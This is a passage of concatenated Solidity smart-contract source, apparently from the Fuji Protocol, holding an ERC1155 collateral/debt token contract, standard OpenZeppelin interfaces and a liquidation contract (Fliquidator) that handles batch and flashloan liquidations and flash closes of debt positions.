* (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
*
* The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
* The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
*
* @param _rate The interest rate, in ray
* @param _lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate compounded during the timeDelta, in ray
**/
/*
function _calculateCompoundedInterest(
uint256 _rate,
uint256 _lastUpdateTimestamp,
uint256 currentTimestamp
) internal pure returns (uint256) {
//solium-disable-next-line
uint256 exp = currentTimestamp.sub(uint256(_lastUpdateTimestamp));
if (exp == 0) {
return WadRayMath.ray();
}
uint256 expMinusOne = exp - 1;
uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
uint256 ratePerSecond = _rate / SECONDS_PER_YEAR;
uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
}
*/
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IERC1155 } from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import { IERC1155Receiver } from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import { IERC1155MetadataURI } from "@openzeppelin/contracts/token/ERC1155/IERC1155MetadataURI.sol";
import { ERC165 } from "@openzeppelin/contracts/introspection/ERC165.sol";
import { IERC165 } from "@openzeppelin/contracts/introspection/IERC165.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { Context } from "@openzeppelin/contracts/utils/Context.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Errors } from "../Libraries/Errors.sol";
/**
*
* @dev Implementation of the Base ERC1155 multi-token standard functions
* for Fuji Protocol control of User collaterals and borrow debt positions.
* Originally based on Openzeppelin
*
*/
contract FujiBaseERC1155 is IERC1155, ERC165, Context {
using Address for address;
using SafeMath for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) internal _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) internal _operatorApprovals;
// Mapping from token ID to totalSupply
mapping(uint256 => uint256) internal _totalSupply;
//Fuji ERC1155 Transfer Control
bool public transfersActive;
modifier isTransferActive() {
require(transfersActive, Errors.VL_NOT_AUTHORIZED);
_;
}
//URI for all token types by relying on ID substitution
//https://token.fujiDao.org/{id}.json
string internal _uri;
/**
* @return The total supply of a token id
**/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
* Requirements:
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), Errors.VL_ZERO_ADDR_1155);
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
* Requirements:
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, Errors.VL_INPUT_ERROR);
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, Errors.VL_INPUT_ERROR);
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override isTransferActive {
require(to != address(0), Errors.VL_ZERO_ADDR_1155);
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
Errors.VL_MISSING_ERC1155_APPROVAL
);
address operator = _msgSender();
_beforeTokenTransfer(
operator,
from,
to,
_asSingletonArray(id),
_asSingletonArray(amount),
data
);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE);
_balances[id][from] = fromBalance.sub(amount);
_balances[id][to] = uint256(_balances[id][to]).add(amount);
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override isTransferActive {
require(ids.length == amounts.length, Errors.VL_INPUT_ERROR);
require(to != address(0), Errors.VL_ZERO_ADDR_1155);
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
Errors.VL_MISSING_ERC1155_APPROVAL
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, Errors.VL_NO_ERC1155_BALANCE);
_balances[id][from] = fromBalance.sub(amount);
_balances[id][to] = uint256(_balances[id][to]).add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert(Errors.VL_RECEIVER_REJECT_1155);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(Errors.VL_RECEIVER_CONTRACT_NON_1155);
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert(Errors.VL_RECEIVER_REJECT_1155);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(Errors.VL_RECEIVER_CONTRACT_NON_1155);
}
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IVault } from "./Vaults/IVault.sol";
import { IFujiAdmin } from "./IFujiAdmin.sol";
import { IFujiERC1155 } from "./FujiERC1155/IFujiERC1155.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Flasher } from "./Flashloans/Flasher.sol";
import { FlashLoan } from "./Flashloans/LibFlashLoan.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Errors } from "./Libraries/Errors.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { LibUniversalERC20 } from "./Libraries/LibUniversalERC20.sol";
import {
IUniswapV2Router02
} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
interface IVaultExt is IVault {
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
function vAssets() external view returns (VaultAssets memory);
}
interface IFujiERC1155Ext is IFujiERC1155 {
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
}
contract Fliquidator is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using LibUniversalERC20 for IERC20;
struct Factor {
uint64 a;
uint64 b;
}
// Flash Close Fee Factor
Factor public flashCloseF;
IFujiAdmin private _fujiAdmin;
IUniswapV2Router02 public swapper;
// Log Liquidation
event Liquidate(
address indexed userAddr,
address liquidator,
address indexed asset,
uint256 amount
);
// Log FlashClose
event FlashClose(address indexed userAddr, address indexed asset, uint256 amount);
// Log Liquidation
event FlashLiquidate(address userAddr, address liquidator, address indexed asset, uint256 amount);
modifier isAuthorized() {
require(msg.sender == owner(), Errors.VL_NOT_AUTHORIZED);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
modifier isValidVault(address _vaultAddr) {
require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!");
_;
}
constructor() public {
// 1.013
flashCloseF.a = 1013;
flashCloseF.b = 1000;
}
receive() external payable {}
// FLiquidator Core Functions
/**
* @dev Liquidate an undercollaterized debt and get bonus (bonusL in Vault)
* @param _userAddrs: Address array of users whose position is liquidatable
* @param _vault: Address of the vault in where liquidation will occur
*/
function batchLiquidate(address[] calldata _userAddrs, address _vault)
external
nonReentrant
isValidVault(_vault)
{
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length);
uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length);
// Build the required Arrays to query balanceOfBatch from f1155
for (uint256 i = 0; i < _userAddrs.length; i++) {
formattedUserAddrs[2 * i] = _userAddrs[i];
formattedUserAddrs[2 * i + 1] = _userAddrs[i];
formattedIds[2 * i] = vAssets.collateralID;
formattedIds[2 * i + 1] = vAssets.borrowID;
}
// Get user Collateral and Debt Balances
uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds);
uint256 neededCollateral;
uint256 debtBalanceTotal;
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
// Compute Amount of Minimum Collateral Required including factors
neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true);
// Check if User is liquidatable
if (usrsBals[i] < neededCollateral) {
// If true, add User debt balance to the total balance to be liquidated
debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]);
} else {
// Replace User that is not liquidatable by Zero Address
formattedUserAddrs[i] = address(0);
formattedUserAddrs[i + 1] = address(0);
}
}
// Check there is at least one user liquidatable
require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE);
// Check Liquidator Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= debtBalanceTotal,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer borrowAsset funds from the Liquidator to Here
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), debtBalanceTotal);
// Transfer Amount to Vault
IERC20(vAssets.borrowAsset).univTransfer(payable(_vault), debtBalanceTotal);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// Repay BaseProtocol debt
IVault(_vault).payback(int256(debtBalanceTotal));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Compute the Liquidator Bonus bonusL
uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(debtBalanceTotal, false);
// Compute how much collateral needs to be swapt
uint256 globalCollateralInPlay =
_getCollateralInPlay(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus));
// Burn Collateral f1155 tokens for each liquidated user
_burnMultiLoop(formattedUserAddrs, usrsBals, IVault(_vault), f1155, vAssets);
// Withdraw collateral
IVault(_vault).withdraw(int256(globalCollateralInPlay));
// Swap Collateral
_swap(vAssets.borrowAsset, debtBalanceTotal.add(globalBonus), globalCollateralInPlay);
// Transfer to Liquidator the debtBalance + bonus
IERC20(vAssets.borrowAsset).univTransfer(msg.sender, debtBalanceTotal.add(globalBonus));
// Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
if (formattedUserAddrs[i] != address(0)) {
f1155.burn(formattedUserAddrs[i], vAssets.borrowID, usrsBals[i + 1]);
emit Liquidate(formattedUserAddrs[i], msg.sender, vAssets.borrowAsset, usrsBals[i + 1]);
}
}
}
/**
* @dev Initiates a flashloan used to repay partially or fully the debt position of msg.sender
* @param _amount: Pass -1 to fully close debt position, otherwise Amount to be repaid with a flashloan
* @param _vault: The vault address where the debt position exist.
* @param _flashnum: integer identifier of flashloan provider
*/
function flashClose(
int256 _amount,
address _vault,
uint8 _flashnum
) external nonReentrant isValidVault(_vault) {
Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher()));
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// Get user Balances
uint256 userCollateral = f1155.balanceOf(msg.sender, vAssets.collateralID);
uint256 userDebtBalance = f1155.balanceOf(msg.sender, vAssets.borrowID);
// Check Debt is > zero
require(userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
uint256 amount = _amount < 0 ? userDebtBalance : uint256(_amount);
uint256 neededCollateral = IVault(_vault).getNeededCollateralFor(amount, false);
require(userCollateral >= neededCollateral, Errors.VL_UNDERCOLLATERIZED_ERROR);
address[] memory userAddressArray = new address[](1);
userAddressArray[0] = msg.sender;
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.Close,
asset: vAssets.borrowAsset,
amount: amount,
vault: _vault,
newProvider: address(0),
userAddrs: userAddressArray,
userBalances: new uint256[](0),
userliquidator: address(0),
fliquidator: address(this)
});
flasher.initiateFlashloan(info, _flashnum);
}
/**
* @dev Close user's debt position by using a flashloan
* @param _userAddr: user addr to be liquidated
* @param _vault: Vault address
* @param _amount: amount received by Flashloan
* @param _flashloanFee: amount extra charged by flashloan provider
* Emits a {FlashClose} event.
*/
function executeFlashClose(
address payable _userAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external onlyFlash {
// Create Instance of FujiERC1155
IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// Get user Collateral and Debt Balances
uint256 userCollateral = f1155.balanceOf(_userAddr, vAssets.collateralID);
uint256 userDebtBalance = f1155.balanceOf(_userAddr, vAssets.borrowID);
// Get user Collateral + Flash Close Fee to close posisition, for _amount passed
uint256 userCollateralInPlay =
IVault(_vault)
.getNeededCollateralFor(_amount.add(_flashloanFee), false)
.mul(flashCloseF.a)
.div(flashCloseF.b);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// Repay BaseProtocol debt
IVault(_vault).payback(int256(_amount));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Full close
if (_amount == userDebtBalance) {
f1155.burn(_userAddr, vAssets.collateralID, userCollateral);
// Withdraw Full collateral
IVault(_vault).withdraw(int256(userCollateral));
// Send unUsed Collateral to User
IERC20(vAssets.collateralAsset).univTransfer(
_userAddr,
userCollateral.sub(userCollateralInPlay)
);
} else {
f1155.burn(_userAddr, vAssets.collateralID, userCollateralInPlay);
// Withdraw Collateral in play Only
IVault(_vault).withdraw(int256(userCollateralInPlay));
}
// Swap Collateral for underlying to repay Flashloan
uint256 remaining =
_swap(vAssets.borrowAsset, _amount.add(_flashloanFee), userCollateralInPlay);
// Send FlashClose Fee to FujiTreasury
IERC20(vAssets.collateralAsset).univTransfer(_fujiAdmin.getTreasury(), remaining);
// Send flasher the underlying to repay Flashloan
IERC20(vAssets.borrowAsset).univTransfer(
payable(_fujiAdmin.getFlasher()),
_amount.add(_flashloanFee)
);
// Burn Debt f1155 tokens
f1155.burn(_userAddr, vAssets.borrowID, _amount);
emit FlashClose(_userAddr, vAssets.borrowAsset, userDebtBalance);
}
/**
* @dev Initiates a flashloan to liquidate array of undercollaterized debt positions,
* gets bonus (bonusFlashL in Vault)
* @param _userAddrs: Array of Address whose position is liquidatable
* @param _vault: The vault address where the debt position exist.
* @param _flashnum: integer identifier of flashloan provider
*/
function flashBatchLiquidate(
address[] calldata _userAddrs,
address _vault,
uint8 _flashnum
) external isValidVault(_vault) nonReentrant {
// Update Balances at FujiERC1155
IVault(_vault).updateF1155Balances();
// Create Instance of FujiERC1155
IFujiERC1155Ext f1155 = IFujiERC1155Ext(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
address[] memory formattedUserAddrs = new address[](2 * _userAddrs.length);
uint256[] memory formattedIds = new uint256[](2 * _userAddrs.length);
// Build the required Arrays to query balanceOfBatch from f1155
for (uint256 i = 0; i < _userAddrs.length; i++) {
formattedUserAddrs[2 * i] = _userAddrs[i];
formattedUserAddrs[2 * i + 1] = _userAddrs[i];
formattedIds[2 * i] = vAssets.collateralID;
formattedIds[2 * i + 1] = vAssets.borrowID;
}
// Get user Collateral and Debt Balances
uint256[] memory usrsBals = f1155.balanceOfBatch(formattedUserAddrs, formattedIds);
uint256 neededCollateral;
uint256 debtBalanceTotal;
for (uint256 i = 0; i < formattedUserAddrs.length; i += 2) {
// Compute Amount of Minimum Collateral Required including factors
neededCollateral = IVault(_vault).getNeededCollateralFor(usrsBals[i + 1], true);
// Check if User is liquidatable
if (usrsBals[i] < neededCollateral) {
// If true, add User debt balance to the total balance to be liquidated
debtBalanceTotal = debtBalanceTotal.add(usrsBals[i + 1]);
} else {
// Replace User that is not liquidatable by Zero Address
formattedUserAddrs[i] = address(0);
formattedUserAddrs[i + 1] = address(0);
}
}
// Check there is at least one user liquidatable
require(debtBalanceTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE);
Flasher flasher = Flasher(payable(_fujiAdmin.getFlasher()));
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.BatchLiquidate,
asset: vAssets.borrowAsset,
amount: debtBalanceTotal,
vault: _vault,
newProvider: address(0),
userAddrs: formattedUserAddrs,
userBalances: usrsBals,
userliquidator: msg.sender,
fliquidator: address(this)
});
flasher.initiateFlashloan(info, _flashnum);
}
/**
* @dev Liquidate a debt position by using a flashloan
* @param _userAddrs: array **See formattedUserAddrs construction in 'function flashBatchLiquidate'
* @param _usrsBals: array **See construction in 'function flashBatchLiquidate'
* @param _liquidatorAddr: liquidator address
* @param _vault: Vault address
* @param _amount: amount of debt to be repaid
* @param _flashloanFee: amount extra charged by flashloan provider
* Emits a {FlashLiquidate} event.
*/
function executeFlashBatchLiquidation(
address[] calldata _userAddrs,
uint256[] calldata _usrsBals,
address _liquidatorAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external onlyFlash {
// Create Instance of FujiERC1155
IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155());
// Struct Instance to get Vault Asset IDs in f1155
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vault).vAssets();
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Repay BaseProtocol debt to release collateral
IVault(_vault).payback(int256(_amount));
// Compute the Liquidator Bonus bonusFlashL
uint256 globalBonus = IVault(_vault).getLiquidationBonusFor(_amount, true);
// Compute how much collateral needs to be swapt for all liquidated Users
uint256 globalCollateralInPlay =
_getCollateralInPlay(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus));
// Burn Collateral f1155 tokens for each liquidated user
_burnMultiLoop(_userAddrs, _usrsBals, IVault(_vault), f1155, vAssets);
// Withdraw collateral
IVault(_vault).withdraw(int256(globalCollateralInPlay));
_swap(vAssets.borrowAsset, _amount.add(_flashloanFee).add(globalBonus), globalCollateralInPlay);
// Send flasher the underlying to repay Flashloan
IERC20(vAssets.borrowAsset).univTransfer(
payable(_fujiAdmin.getFlasher()),
_amount.add(_flashloanFee)
);
// Transfer Bonus bonusFlashL to liquidator, minus FlashloanFee convenience
IERC20(vAssets.borrowAsset).univTransfer(
payable(_liquidatorAddr),
globalBonus.sub(_flashloanFee)
);
// Burn Debt f1155 tokens and Emit Liquidation Event for Each Liquidated User
for (uint256 i = 0; i < _userAddrs.length; i += 2) {
if (_userAddrs[i] != address(0)) {
f1155.burn(_userAddrs[i], vAssets.borrowID, _usrsBals[i + 1]);
emit FlashLiquidate(_userAddrs[i], _liquidatorAddr, vAssets.borrowAsset, _usrsBals[i + 1]);
}
}
}
/**
* @dev Swap an amount of underlying
* @param _borrowAsset: Address of vault borrowAsset
* @param _amountToReceive: amount of underlying to receive
* @param _collateralAmount: collateral Amount sent for swap
*/
function _swap(
address _borrowAsset,
uint256 _amountToReceive,
uint256 _collateralAmount
) internal returns (uint256) {
// Swap Collateral Asset to Borrow Asset
address[] memory path = new address[](2);
path[0] = swapper.WETH();
path[1] = _borrowAsset;
uint256[] memory swapperAmounts =
swapper.swapETHForExactTokens{ value: _collateralAmount }(
_amountToReceive,
path,
address(this),
// solhint-disable-next-line
block.timestamp
);
return _collateralAmount.sub(swapperAmounts[0]);
}
/**
* @dev Get exact amount of collateral to be swapt
* @param _borrowAsset: Address of vault borrowAsset
* @param _amountToReceive: amount of underlying to receive
*/
